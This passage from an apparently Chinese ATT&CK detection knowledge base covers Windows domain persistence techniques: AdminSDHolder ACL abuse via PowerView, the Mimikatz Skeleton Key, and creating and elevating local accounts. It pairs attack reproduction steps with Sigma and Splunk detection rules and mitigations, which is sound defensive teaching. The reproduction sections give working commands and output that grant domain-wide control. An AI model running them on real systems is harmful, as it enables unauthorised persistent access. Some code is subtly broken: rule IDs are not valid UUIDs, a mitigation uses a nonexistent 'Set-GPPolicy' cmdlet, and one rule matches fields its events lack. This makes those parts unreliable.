如果能够修改AdminSDHolder对象的ACL,那么修改的权限将自动应用于所有受保护的AD账户和组,这可以作为一个域环境权限维持的方法。 ## 检测日志 Windows 安全日志 ## 测试复现 ### 完整利用过程 1.枚举受保护的AD账户和组中的信息 查找有价值的用户,需要确认该用户是否属于受保护的AD账户和组,排除曾经属于受保护的AD账户和组。 2.向AdminSDHolder对象添加ACL 例如添加用户testa对AdminSDHolder的完全访问权限。 默认等待60分钟以后,testa获得对所有受保护的AD账户和组的完全访问权限。 可以通过修改注册表的方式设置权限推送的间隔时间,注册表位置如下: ```reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters,AdminSDProtectFrequency,REG_DWORD ``` 例如修改成等待600秒的命令如下: ```reg reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters/v AdminSDProtectFrequency /t REG_DWORD/d 600 ``` 参考资料: **注:不建议降低默认间隔时间,因为在大型环境中可能会导致LSASS性能下降。** 3.获得对整个域的控制权限 (1)用户testa能够向域管理员组添加帐户。 验证权限的命令如下: ```powershell Import-Module .\PowerView.ps1 Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference-match'xiaomi'} ``` (2)用户testa能够直接访问域控制器上的文件。 ### 测试过程 1.查询AdminSDHolder对象的ACL 查询AdminSDHolder对象的ACL等价于查询"CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org"的ACL。 命令如下: ```powershell Import-Module .\PowerView.ps1 Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System"|select IdentityReference ``` **真实测试情况** ```powershell PS C:\Users\Administrator\Desktop\mimikatz_trunk> Import-Module .\PowerView.ps1 PS C:\Users\Administrator\Desktop\mimikatz_trunk> Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System"|select IdentityR eference IdentityReference ----------------- NT AUTHORITY\Authenticated Users NT AUTHORITY\SYSTEM BUILTIN\Administrators XIAOMI\Domain Admins XIAOMI\Enterprise Admins Everyone NT AUTHORITY\SELF NT AUTHORITY\SELF BUILTIN\Pre-Windows 2000 Compatible Access BUILTIN\Pre-Windows 2000 Compatible Access BUILTIN\Pre-Windows 2000 Compatible Access BUILTIN\Pre-Windows 2000 Compatible Access BUILTIN\Pre-Windows 2000 Compatible Access BUILTIN\Pre-Windows 2000 Compatible Access BUILTIN\Pre-Windows 2000 Compatible Access BUILTIN\Pre-Windows 2000 Compatible Access BUILTIN\Pre-Windows 2000 Compatible Access BUILTIN\Pre-Windows 2000 Compatible Access BUILTIN\Pre-Windows 2000 Compatible Access BUILTIN\Windows Authorization Access Group BUILTIN\Terminal Server License Servers BUILTIN\Terminal Server License Servers XIAOMI\Cert Publishers ``` 2.向AdminSDHolder对象添加ACL 添加用户,xiaomi的完全访问权限,命令如下: ```powershell Import-Module .\PowerView.ps1 Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName xiaomi -Verbose -Rights All ``` 注意:本文提到的百度社区参考链接此处存在问题。是Rights不是文中提到的Right **真实测试情况** ```powershell PS C:\Users\Administrator\Desktop\mimikatz_trunk> Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -Principal SamAccountName xiaomi -Verbose -Rights All 详细信息: Get-DomainSearcher search string: LDAP://CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org 详细信息: Get-DomainSearcher search string: LDAP://DC=xiaomi,DC=org 详细信息: Granting principal S-1-5-21-3576461989-1381017913-248049510-1104 'All' on CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org 详细信息: Granting principal S-1-5-21-3576461989-1381017913-248049510-1104 '00000000-0000-0000-0000-000000000000' rights on CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org ``` 3.验证用户权限 等待六十分钟后,执行以下命令查询用户xiaomi的权限: ```powershell Import-Module .\PowerView.ps1 Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference-match'xiaomi'} OR Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | select IdentityReference ``` 4.删除AdminSDHolder中指定用户的ACL 搜索条件为"LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com" 删除用户xiaomi的完全访问权限,命令如下(**测试执行失败**,具体原因未查): ```powershell Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org" -PrincipalIdentity xiaomi -Rights All -Verbose ``` ## 测试留痕 windows安全日志 ## 检测规则/思路 ### Sigma规则 ```yml title: Windows-AdminSDHolder description: Windows server 2008 R2(AD域控) references: - https://github.com/infosecn1nja/AD-Attack-Defense/blob/master/README.md - https://github.com/0Kee-Team/WatchAD/blob/master/modules/detect/event_log/persistence/AdminSDHolder.py tags: 1098 author: 12306Bro logsource: product: windows service: security detection: selection1: EventID: 5136 #已修改目录服务对象。AdminSDHolder更改,一般用作权限维持,因为更改情况极少 selection2: EventID: 4780 #ACL设置在管理员组成员的帐户上 timeframe: last 1h #默认等待60分钟之后生效,具体原因可参考下面SDPROP说明 condition: all of them level: medium ``` ## 建议 ### 缓解措施 防御AdminSDHolder滥用需从权限控制、配置加固和监控入手: 1. **限制AdminSDHolder访问** - 确保仅Domain Admins和Enterprise Admins能修改AdminSDHolder ACL。 - 使用AD权限审计工具(如ADAudit)检查ACL配置。 2. **最小化管理员权限** - 遵循最小权限原则,限制域管理员账户的使用。 - 配置组策略限制非必要用户的DC访问: ```powershell Set-GPPolicy -Name "Deny DC Access" -Path "Computer Configuration\Policies\Windows Settings\Deny log on locally" ``` 3. **凭据保护** - 启用多因素认证(MFA)保护域管理员账户。 - 使用受限管理员模式减少凭据暴露。 4. **日志和监控** - 启用事件ID 5136和4780的监控,检测AdminSDHolder ACL修改。 - 配置Sysmon监控`powershell.exe`及注册表更改。 - 使用EDR工具检测PowerView或其他AD攻击工具。 5. **定期审计** - 检查AdminSDHolder ACL及受保护对象的权限。 - 示例PowerShell命令: ```powershell Get-Acl -Path "AD:\CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org" | Format-List ``` ## 参考推荐 - MITRE ATT&CK: T1098 - 域渗透——AdminSDHolder - PowerView - SDPROP说明 - AD Attack Defense - WatchAD AdminSDHolder Detection ================================================ FILE: Windows/05持久化/T1098-Win-万能密码.md ================================================ # T1098-Win-万能密码(Skeleton Key) ## 描述 攻击者可能通过账户操作技术(如修改凭据或权限)维持对目标环境的持久化访问(T1098)。Skeleton Key(万能密码)是一种高级持久化技术,通过在域控制器(DC)上注入恶意代码,允许攻击者使用统一密码(如“mimikatz”)以任意域用户身份通过身份验证,而无需知道其真实凭据。此技术通常利用Mimikatz的`misc::skeleton`模块,修改DC的Kerberos密钥分发中心(KDC)功能,植入伪造的加密密钥(RC4),为域内所有账户添加“万能密码”。 Skeleton Key的隐蔽性极高,因为它不更改账户密码,仅在验证过程中拦截并伪造成功响应,适用于Windows Server 2008 R2、2012 R2等环境。攻击者需具备DC管理员权限以实施注入,但成功后可通过普通域用户身份使用万能密码访问高权限资源(如DC的C$共享)。检测重点在于监控异常的KDC行为、Mimikatz执行及多事件关联分析。 ## 测试案例 使用Mimikatz的`misc::skeleton`模块在DC上植入Skeleton Key,为域内所有账户添加默认密码“mimikatz”,实现持久化权限维持。攻击者随后可使用任意域用户身份结合该密码访问域资源。 ## 检测日志 **Windows安全日志** - **事件ID 4611**:受信任的登录进程在本地安全机构注册,可能涉及Mimikatz的权限提升。 - **事件ID 4673**:调用敏感权限的服务,可能与Mimikatz的`privilege::debug`相关。 - **事件ID 4688**:新进程创建,记录Mimikatz或相关进程的执行。 - **事件ID 4689**:进程退出,记录Mimikatz进程终止。 - **事件ID 4624**:账户登录,检测异常的域用户登录(如低权限用户访问DC)。 **Sysmon日志** - **事件ID 1**:进程创建,记录`mimikatz.exe`或异常进程的执行。 - **事件ID 3**:网络连接,可能涉及Skeleton Key后的远程访问(如SMB)。 - **事件ID 7**:DLL加载,检测Mimikatz加载的异常DLL。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程、网络和DLL加载监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows Server 2008 R2或2012 R2(域控制器),域名为`xiaomi.org`。 - **权限**:DC管理员权限(步骤2),普通域用户权限(步骤1、3)。 - **工具**:Mimikatz(x64版本),域用户账户(如`xiaomi`)。 - **日志**:启用Windows安全日志和Sysmon。 ### 步骤1(PC上执行,普通域用户权限) 验证普通域用户无法访问DC的C$共享: ```dos C:\Users\xiaomi>dir \\dc.xiaomi.org\c$ 拒绝访问。 C:\Users\xiaomi>net use \\dc.xiaomi.org\ipc$ "admin.098" /user:xiaomi\administrator 命令成功完成。 C:\Users\xiaomi>dir \\dc.xiaomi.org\c$ 驱动器 \\dc.xiaomi.org\c$ 中的卷没有标签。 卷的序列号是 50E9-7D0C \\dc.xiaomi.org\c$ 的目录 2009/07/14 11:20 PerfLogs 2020/03/23 15:24 Program Files 2020/03/23 15:24 Program Files (x86) 2020/03/23 14:47 Users 2020/03/23 15:30 Windows 0 个文件 0 字节 5 个目录 32,728,838,144 可用字节 C:\Users\xiaomi>net use 状态 本地 远程 网络 ------------------------------------------------------------------------------- OK \\dc.xiaomi.org\ipc$ Microsoft Windows Network 命令成功完成。 C:\Users\xiaomi>net use \\dc.xiaomi.org\ipc$ /del /y \\dc.xiaomi.org\ipc$ 已经删除。 C:\Users\xiaomi>net use 列表是空的。 ``` ### 步骤2(DC上执行,管理员权限) 在DC上运行Mimikatz植入Skeleton Key: ```dos C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe "privilege::debug" "misc::skeleton" exit .#####. mimikatz 2.1.1 (x64) built on Apr 9 2017 23:24:20 .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 21 modules * * */ mimikatz(commandline) # privilege::debug Privilege '20' OK mimikatz(commandline) # misc::skeleton [KDC] data [KDC] struct [KDC] keys patch OK [RC4] functions [RC4] init patch OK [RC4] decrypt patch OK mimikatz(commandline) # exit Bye! ``` **结果**:Skeleton Key注入成功,域内所有账户添加默认密码“mimikatz”。 ### 步骤3(PC上执行,普通域用户权限) 使用Skeleton Key以管理员身份访问DC: ```dos C:\Users\xiaomi>net use \\dc.xiaomi.org\ipc$ "mimikatz" /user:xiaomi\administrator 命令成功完成。 C:\Users\xiaomi>dir \\dc.xiaomi.org\c$ 驱动器 \\dc.xiaomi.org\c$ 中的卷没有标签。 卷的序列号是 50E9-7D0C \\dc.xiaomi.org\c$ 的目录 2009/07/14 11:20 PerfLogs 2020/03/23 15:24 Program Files 2020/03/23 15:24 Program Files (x86) 2020/03/23 14:47 Users 2020/03/23 15:30 Windows 0 个文件 0 字节 5 个目录 32,758,198,272 可用字节 ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Windows安全日志(事件ID 4611)**: ```plaintext EventID: 4611 Description: A trusted logon process has registered with the Local Security Authority. Process Name: C:\Users\Administrator\Desktop\mimikatz_trunk\x64\mimikatz.exe ``` - **Windows安全日志(事件ID 4673)**: ```plaintext EventID: 4673 Description: A privileged service was called. Account Name: Administrator Service Name: SeDebugPrivilege ``` - **Windows安全日志(事件ID 4688)**: ```plaintext EventID: 4688 New Process ID: 0x1234 New Process Name: C:\Users\Administrator\Desktop\mimikatz_trunk\x64\mimikatz.exe Process Command Line: mimikatz.exe "privilege::debug" "misc::skeleton" exit Creator Process Name: C:\Windows\System32\cmd.exe ``` - **Windows安全日志(事件ID 4624)**: ```plaintext EventID: 4624 Account Name: administrator Account Domain: xiaomi Logon Type: 3 (Network) Workstation Name: ``` ## 检测规则/思路 **检测规则** 通过多事件关联分析,检测Skeleton Key的注入及滥用行为。以下是具体思路: 1. **日志分析**: - 监控事件ID 4611,检测Mimikatz等工具注册受信任登录进程。 - 监控事件ID 4673,检测`SeDebugPrivilege`等敏感权限调用。 - 监控事件ID 4688,检测`mimikatz.exe`或异常进程的执行。 - 监控事件ID 4624,检测低权限用户以高权限账户(如`administrator`)进行网络登录。 - 使用Sysmon事件ID 7,检测Mimikatz加载的异常DLL。 2. **Sigma规则**: ```yaml title: Skeleton Key注入检测 id: b0c1d2e3-f4g5-6789-hijk-lmnopqrstuvw status: experimental description: 检测Mimikatz的misc::skeleton模块执行,可能表明Skeleton Key注入 references: - https://attack.mitre.org/techniques/T1098/ - https://0xsp.com/ad-attack-or-defense/ad-ttps-list tags: - attack.persistence - attack.t1098 logsource: product: windows service: security detection: selection: EventID: - 4611 # 受信任登录进程注册 - 4673 # 敏感权限调用 - 4688 # 新进程创建 - 4689 # 进程退出 ProcessName|contains: 'mimikatz' CommandLine|contains: 'misc::skeleton' timeframe: 5s condition: selection fields: - ProcessName - CommandLine - AccountName falsepositives: - 合法的安全测试工具使用 level: high ``` 3. **Sysmon规则**: ```yaml title: Mimikatz或异常进程检测 id: c1d2e3f4-g5h6-7890-ijkl-mnopqrstuvwx status: experimental description: 检测Mimikatz或其他异常进程的执行 logsource: product: windows category: process_creation detection: selection: EventID: 1 Image|endswith: '\mimikatz.exe' CommandLine|contains: - 'privilege::debug' - 'misc::skeleton' condition: selection fields: - Image - CommandLine falsepositives: - 安全研究或测试 level: high ``` 4. **SIEM规则**: - 检测Mimikatz执行及异常登录。 - 示例Splunk查询: ```spl source="WinEventLog:Security" (EventCode=4611 OR EventCode=4673 OR EventCode=4688 ProcessName="*mimikatz*" CommandLine="*skeleton*") OR (EventCode=4624 LogonType=3 AccountName="administrator") | stats count by EventCode, AccountName, ProcessName, CommandLine, ComputerName ``` 5. **威胁情报整合**: - 检查Mimikatz执行的进程、文件哈希或网络行为,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御Skeleton Key需从权限控制、系统加固和监控入手: 1. **限制管理员权限** - 最小化DC管理员账户的使用,采用最低权限原则。 - 使用组策略限制非必要用户的DC访问: ```powershell Set-GPPolicy -Name "Deny DC Access" -Path "Computer Configuration\Policies\Windows Settings\Deny log on to" ``` 2. **加强KDC保护** - 启用Kerberos限制,防止未授权的KDC修改。 - 配置组策略:`计算机配置 > 策略 > Windows设置 > 安全设置 > 帐户策略 > Kerberos策略`。 3. **凭据保护** - 启用多因素认证(MFA)保护域管理员账户。 - 使用受限管理员模式减少凭据暴露。 4. **日志和监控** - 启用事件ID 4611、4673、4688和4624的监控,检测Mimikatz及Skeleton Key行为。 - 配置Sysmon监控`mimikatz.exe`及异常DLL加载。 - 使用EDR工具检测KDC异常或PtH攻击。 ### 检测 检测工作应集中在Skeleton Key的注入及滥用行为: - **进程监控**:检测`mimikatz.exe`及`misc::skeleton`命令的执行。 - **权限调用监控**:分析事件ID 4673,检测`SeDebugPrivilege`使用。 - **登录行为监控**:检测低权限用户以高权限账户(如`administrator`)登录DC。 - **多事件关联**:结合事件ID 4611、4673、4688和4624,识别Skeleton Key模式。 - **威胁情报整合**:分析Mimikatz相关行为是否与已知攻击活动匹配。 ## 参考推荐 - MITRE ATT&CK: T1098 - AD TTPs List - 域控权限持久化之Skeleton Key ================================================ FILE: Windows/05持久化/T1098-Win-账户操作.md ================================================ # T1098-Win-账户操作 ## 描述 攻击者通过账户操作技术维持对目标环境的凭据或特定权限级别的持久化访问(T1098)。账户操作包括但不限于修改权限、更改凭据、添加或移除权限组、修改账户设置(如启用/禁用账户)或篡改身份验证机制(如Skeleton Key)。这些操作需攻击者已具备系统或域的足够权限,通常通过提权(T1068)或凭据窃取(T1003)获得。 常见账户操作包括创建新账户、修改现有账户密码、将账户添加到高权限组(如Administrators或Domain Admins)或启用禁用账户。攻击者可能使用Windows内置工具(如`net.exe`、`powershell.exe`)或第三方工具(如Mimikatz)执行操作。检测重点在于监控账户创建、修改及异常权限分配的日志事件。 ## 测试案例 1. **创建本地账户** 使用`net.exe`创建新本地用户,赋予管理员权限。 2. **修改账户密码** 使用`net user`或PowerShell更改现有账户密码。 3. **添加账户到高权限组** 使用`net localgroup`或`Add-ADGroupMember`将用户添加到Administrators或Domain Admins组。 4. **启用禁用账户** 使用`net user`或PowerShell启用/禁用账户。 5. **Skeleton Key注入** 使用Mimikatz的`misc::skeleton`模块为域账户添加万能密码(参考T1098-Win-Skeleton-Key)。 ## 检测日志 **Windows安全日志** - **事件ID 4720**:账户创建。 - **事件ID 4722**:账户启用。 - **事件ID 4724**:账户密码重置尝试。 - **事件ID 4732**:账户添加到安全组。 - **事件ID 4740**:账户锁定。 - **事件ID 4688**:进程创建,记录执行账户操作的工具(如`net.exe`)。 - **事件ID 4624**:账户登录,检测新创建账户的首次登录。 **Sysmon日志** - **事件ID 1**:进程创建,记录`net.exe`、`powershell.exe`或`mimikatz.exe`的执行及命令行参数。 - **事件ID 13**:注册表修改,可能涉及账户设置或权限更改。 **配置日志记录** - 启用账户管理审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 帐户管理 > 审核用户帐户管理`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程和注册表监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows Server 2012+或Windows 10,域或本地环境。 - **权限**:本地管理员或域管理员权限。 - **日志**:启用Windows安全日志和Sysmon。 ### 攻击步骤 1. **创建本地账户** 以管理员权限运行CMD,创建用户`test321`: ```dos net user test321 Test.321 /add ``` 2. **添加到管理员组** 将`test321`添加到Administrators组: ```dos net localgroup Administrators test321 /add ``` 3. **验证结果** - 检查账户创建: ```dos net user test321 ``` - 检查日志: - **Windows安全日志(事件ID 4720)**: ```plaintext EventID: 4720 Account Name: test321 Account Domain: JACKMA Security ID: S-1-5-21-...-1001 ``` - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Windows\System32\net.exe CommandLine: net user test321 Test.321 /add ParentImage: C:\Windows\System32\cmd.exe User: JACKMA\Administrator IntegrityLevel: High ``` - **Windows安全日志(事件ID 4732)**: ```plaintext EventID: 4732 Member Account Name: test321 Group Name: Administrators Group Domain: JACKMA ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Windows安全日志(事件ID 4720)**: ```plaintext EventID: 4720 Account Name: test321 Account Domain: JACKMA Security ID: S-1-5-21-...-1001 ``` - **Windows安全日志(事件ID 4732)**: ```plaintext EventID: 4732 Member Account Name: test321 Group Name: Administrators Group Domain: JACKMA ``` - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Windows\System32\net.exe CommandLine: net user test321 Test.321 /add ParentImage: C:\Windows\System32\cmd.exe User: JACKMA\Administrator IntegrityLevel: High ``` - **Windows安全日志(事件ID 4688)**: ```plaintext EventID: 4688 New Process ID: 0x1234 New Process Name: C:\Windows\System32\net.exe Process Command Line: net user test321 Test.321 /add Creator Process Name: C:\Windows\System32\cmd.exe ``` ## 检测规则/思路 **检测规则** 通过分析Windows安全日志和Sysmon日志,检测账户创建、修改及权限变更行为。以下是具体思路: 1. **日志分析**: - 监控事件ID 4720、4722、4724和4732,检测账户创建、启用、密码重置及组成员变更。 - 监控事件ID 4688或Sysmon事件ID 1,检测`net.exe`、`net1.exe`、`powershell.exe`的异常命令行参数(如`user /add`、`localgroup`)。 - 监控事件ID 4624,检测新账户的首次登录或异常高权限登录。 2. **Sigma规则**: ```yaml title: Net.exe执行账户操作 id: f2g3h4i5-j6k7-8901-lmno-pqrstuvwxyz12 status: stable description: 检测通过net.exe或net1.exe执行的账户创建或修改操作 references: - https://attack.mitre.org/techniques/T1098/ tags: - attack.persistence - attack.t1098 logsource: category: process_creation product: windows detection: selection: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: - '\net.exe' - '\net1.exe' CommandLine|contains|all: - 'user' - '/add' condition: selection fields: - ComputerName - User - CommandLine falsepositives: - 合法的用户创建操作 - 管理员维护任务 level: medium ``` 3. **Sysmon规则**: ```yaml title: 账户操作相关进程检测 id: g3h4i5j6-k7l8-9012-mnop-qrstuvwxyz34 status: experimental description: 检测net.exe或powershell.exe执行的账户操作 author: Grok date: 2025/06/07 logsource: category: process_creation product: windows detection: selection_net: EventID: 1 Image|endswith: - '\net.exe' - '\net1.exe' CommandLine|contains: - 'user /add' - 'localgroup /add' selection_ps: EventID: 1 Image|endswith: '\powershell.exe' CommandLine|contains: - 'New-LocalUser' - 'Add-LocalGroupMember' condition: selection_net or selection_ps fields: - Image - CommandLine - User falsepositives: - 合法的账户管理脚本 level: medium ``` 4. **SIEM规则**: - 检测账户操作相关事件。 - 示例Splunk查询: ```spl source="WinEventLog:Security" EventCode IN (4720,4722,4724,4732,4688) ProcessName IN ("*net.exe","*net1.exe") CommandLine IN ("*user*add*","*localgroup*add*") | stats count by EventCode, AccountName, ProcessName, CommandLine, ComputerName ``` 5. **账户事件监控**: - 监控账户创建和组成员变更。 - 示例PowerShell查询: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -in @(4720,4732) } | Select-Object TimeCreated, @{Name="Message";Expression={$_.Message}} ``` 6. **威胁情报整合**: - 检查账户操作相关进程(如`mimikatz.exe`)或命令的哈希值,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御账户操作需从权限控制、系统加固和监控入手: 1. **限制管理员权限** - 遵循最小权限原则,限制用户对账户管理的访问。 - 使用组策略限制非必要账户的管理员权限: ```powershell Set-GPPolicy -Name "Restrict Admin Access" -Path "Computer Configuration\Policies\Windows Settings\Deny log on locally" ``` 2. **加强账户管理** - 定期审计本地和域账户,移除不必要的管理员账户。 - 示例PowerShell命令: ```powershell Get-LocalUser | Where-Object { $_.Enabled -eq $true } | Select-Object Name, SID ``` 3. **网络访问控制** - 限制DC的SMB和RDP访问,仅允许白名单IP。 - 示例防火墙规则: ```powershell New-NetFirewallRule -DisplayName "Block DC SMB" -Direction Inbound -LocalPort 445 -Protocol TCP -Action Block ``` 4. **凭据保护** - 启用多因素认证(MFA)保护高权限账户。 - 使用受限管理员模式减少凭据暴露。 5. **日志和监控** - 启用事件ID 4720、4722、4724、4732和4688的监控,检测账户操作。 - 配置Sysmon监控`net.exe`、`powershell.exe`及异常命令行。 - 使用EDR工具检测Mimikatz或其他账户操作工具。 6. **定期审计** - 检查账户和组成员变更,识别异常操作。 - 示例PowerShell命令: ```powershell Get-ADUser -Filter * -Properties LastLogonDate | Where-Object { $_.Enabled -eq $true } | Select-Object Name, LastLogonDate ``` ### 检测 检测工作应集中在账户操作行为: - **账户事件监控**:分析事件ID 4720、4722、4724和4732,检测账户创建、启用和权限变更。 - **进程监控**:检测`net.exe`、`net1.exe`或`powershell.exe`的异常命令行(如`user /add`)。 - **登录行为监控**:检测新账户或异常高权限账户的登录(事件ID 4624)。 - **多事件关联**:结合进程创建和账户管理事件,识别攻击链。 - **威胁情报整合**:分析操作工具或行为是否与已知攻击活动匹配。 ## 参考推荐 - MITRE ATT&CK: T1098 ================================================ FILE: Windows/05持久化/T1136.001-Win-创建本地账户.md ================================================ # T1136.001-Win-创建本地账户 ## 描述 攻击者可能通过创建本地系统账户实现持久化访问(T1136.001),无需部署远程访问工具。具备足够权限(如管理员)的攻击者可使用Windows内置工具(如`net user`)或PowerShell创建本地账户,用于后续登录或权限维持。在域环境中,攻击者可能优先创建本地账户以规避域策略监控;在云环境中(如Office 365),攻击者可能创建服务账户或全局管理员账户以维持访问。 创建本地账户的隐蔽性较高,尤其是当账户名称伪装为合法用户或服务账户时。检测重点在于监控账户创建事件、命令行参数及异常登录行为。 ## 测试案例 1. **使用`net user`创建本地账户** 攻击者在目标系统上创建本地用户并设置密码。 2. **使用PowerShell创建本地账户** 攻击者通过`New-LocalUser` cmdlet创建用户并添加到管理员组。 3. **伪装合法账户** 攻击者创建名称类似系统账户(如`svc_admin`)的本地用户以降低被发现风险。 ## 检测日志 **Windows安全日志** - **事件ID 4720**:记录用户账户创建。 - **事件ID 4732**:记录账户添加到本地组(如Administrators)。 - **事件ID 4688**:记录进程创建,包含执行账户创建的工具(如`net.exe`)的命令行参数。 - **事件ID 4624**:记录新账户的首次登录。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`net.exe`或`powershell.exe`的命令行参数。 - **事件ID 3**:记录网络连接,可能涉及新账户的远程访问。 **配置日志记录** - 启用账户管理审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 帐户管理 > 审核用户帐户管理`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程和网络监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+。 - **权限**:本地管理员权限。 - **日志**:启用Windows安全日志和Sysmon。 ### 攻击步骤 1. **使用`net user`创建本地账户** 以管理员权限运行CMD,创建用户`admin.123`: ```dos net user admin.123 admin1 /add ``` 2. **添加到管理员组(可选)** 将`admin.123`添加到Administrators组: ```dos net localgroup Administrators admin.123 /add ``` 3. **验证结果** - 检查账户创建: ```dos net user admin.123 ``` - 检查日志: - **Windows安全日志(事件ID 4720)**: ```plaintext EventID: 4720 Account Name: admin.123 Account Domain: 12306Br0-PC Security ID: S-1-5-21-3579006141-3881886638-2121494774-1001 Subject Account Name: 12306Br0 Subject Account Domain: 12306Br0-PC ``` - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Windows\System32\net.exe CommandLine: net user admin.123 admin1 /add ParentImage: C:\Windows\System32\cmd.exe User: 12306Br0-PC\12306Br0 IntegrityLevel: High ``` - **Windows安全日志(事件ID 4732,添加组)**: ```plaintext EventID: 4732 Member Account Name: admin.123 Group Name: Administrators Group Domain: 12306Br0-PC ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Windows安全日志(事件ID 4720)**: ```plaintext EventID: 4720 Account Name: admin.123 Account Domain: 12306Br0-PC Security ID: S-1-5-21-3579006141-3881886638-2121494774-1001 Subject Account Name: 12306Br0 Subject Account Domain: 12306Br0-PC Subject Logon ID: 0x75a8e User Account Control: Disabled Account, No Password Required, Normal Account ``` - **Windows安全日志(事件ID 4688)**: ```plaintext EventID: 4688 New Process ID: 0x1234 New Process Name: C:\Windows\System32\net.exe Process Command Line: net user admin.123 admin1 /add Creator Process Name: C:\Windows\System32\cmd.exe ``` - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Windows\System32\net.exe CommandLine: net user admin.123 admin1 /add ParentImage: C:\Windows\System32\cmd.exe User: 12306Br0-PC\12306Br0 IntegrityLevel: High ``` ## 检测规则/思路 **检测规则** 通过分析Windows安全日志和Sysmon日志,检测本地账户创建及相关操作。以下是具体思路: 1. **日志分析**: - 监控事件ID 4720,检测本地账户创建。 - 监控事件ID 4732,检测账户添加到高权限组(如Administrators)。 - 监控事件ID 4688或Sysmon事件ID 1,检测`net.exe`或`powershell.exe`的命令行参数(如`user /add`、`New-LocalUser`)。 - 监控事件ID 4624,检测新账户的首次登录。 2. **Sigma规则(账户创建)**: ```yaml title: 本地账户创建检测 id: m9n0p1q2-r3s4-5678-tuvw-xyz9012345 status: stable description: 检测Windows系统上的本地账户创建,适用于非AD环境 references: - https://attack.mitre.org/techniques/T1136/001/ - https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/ tags: - attack.persistence - attack.t1136.001 logsource: product: windows service: security detection: selection: EventID: 4720 condition: selection fields: - EventID - AccountName - AccountDomain falsepositives: - 域控制器日志 - 合法的本地账户管理工具操作 level: low ``` 3. **Sigma规则(命令行检测)**: ```yaml title: Net.exe或PowerShell创建本地账户 id: n0p1q2r3-s4t5-6789-uvwx-yz0123456 status: stable description: 检测通过net.exe或PowerShell执行的本地账户创建 author: Grok date: 2025/06/07 logsource: category: process_creation product: windows detection: selection_net: EventID: - 4688 - 1 Image|endswith: - '\net.exe' - '\net1.exe' CommandLine|contains|all: - 'user' - '/add' selection_ps: EventID: - 4688 - 1 Image|endswith: '\powershell.exe' CommandLine|contains: - 'New-LocalUser' condition: selection_net or selection_ps fields: - Image - CommandLine - User falsepositives: - 合法的账户管理脚本 - 管理员维护任务 level: medium ``` 4. **Splunk规则**: ```spl source="WinEventLog:Security" EventCode IN (4720,4732,4688) (ProcessName IN ("*net.exe","*net1.exe") CommandLine="*user*add*") OR (ProcessName="*powershell.exe" CommandLine="*New-LocalUser*") | table EventCode,AccountName,AccountDomain,ProcessName,CommandLine,ComputerName ``` 5. **多事件关联**: - 结合事件ID 4720(账户创建)和4688(命令行),提高检测准确性。 - 示例PowerShell查询: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -in @(4720,4688) -and $_.Message -match "net user.*add" } | Select-Object TimeCreated, Id, Message ``` 6. **威胁情报整合**: - 检查新账户名称或命令行参数是否与已知恶意模式相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御本地账户创建需从权限控制、系统加固和监控入手: 1. **限制管理员权限** - 遵循最小权限原则,限制用户对账户管理的访问。 - 配置组策略限制非必要账户的管理员权限: ```powershell Set-GPPolicy -Name "Restrict Admin Access" -Path "Computer Configuration\Policies\Windows Settings\Deny log on locally" ``` 2. **加强账户管理** - 定期审计本地账户,移除未知或未使用的账户。 - 示例PowerShell命令: ```powershell Get-LocalUser | Where-Object { $_.Enabled -eq $true } | Select-Object Name, SID, LastLogon ``` 